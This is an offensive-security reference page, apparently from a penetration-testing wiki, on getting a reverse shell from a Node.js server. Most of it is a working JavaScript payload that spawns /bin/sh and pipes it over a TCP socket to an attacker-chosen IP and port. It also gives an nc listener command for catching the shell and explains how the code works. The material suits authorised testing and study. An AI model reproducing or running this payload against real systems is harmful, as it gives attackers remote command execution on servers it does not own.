Node.js Reverse Shell
The hard part of popping a reverse shell on a Node.js server is tricking the server into loading attacker-controlled code. Once code execution is achieved, the following payload from PayloadsAllTheThings produces a reliable connection. 1
Payload
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "127.0.0.1", function(){
// Customize port and IP address above to taste
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents Node.js from crashing
})();This works by:
- Spawning
/bin/shas a child process - Creating a TCP socket back to the attacker
- Piping the socket’s input/output streams through the shell process
The return /a/ statement prevents the Node.js event loop from exiting prematurely.
Catching the shell
nc -lvnp 1234For a fully interactive TTY, upgrade after catching — see shell-stabilization.
Sources
Related: perl-reverse-shell, ruby-reverse-shell, powershell-reverse-shell, bash-reverse-shell, shell-stabilization